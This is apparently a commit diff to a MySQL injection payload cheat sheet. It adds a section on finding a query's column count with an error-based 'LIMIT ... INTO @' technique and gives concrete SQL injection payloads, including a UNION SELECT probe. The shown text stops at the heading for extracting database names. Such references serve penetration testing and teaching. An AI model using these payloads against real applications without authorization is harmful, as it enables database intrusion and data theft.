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Updated Detect columns number

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Detect columns number using LIMIT INTO Error Based
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SQL Injection/MySQL Injection.md
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@ -95,6 +95,16 @@ This method works if error showing is enabled
1' UNION SELECT @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
```
#### using `LIMIT INTO` Error Based
This method works if error showing is enabled.
It is useful for finding the number of columns when the injection point is after a LIMIT clause.
```sql
1' LIMIT 1,1 INTO @--+ #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
```
### Extract database with information_schema
Then the following codes will extract the databases'name, tables'name, columns'name.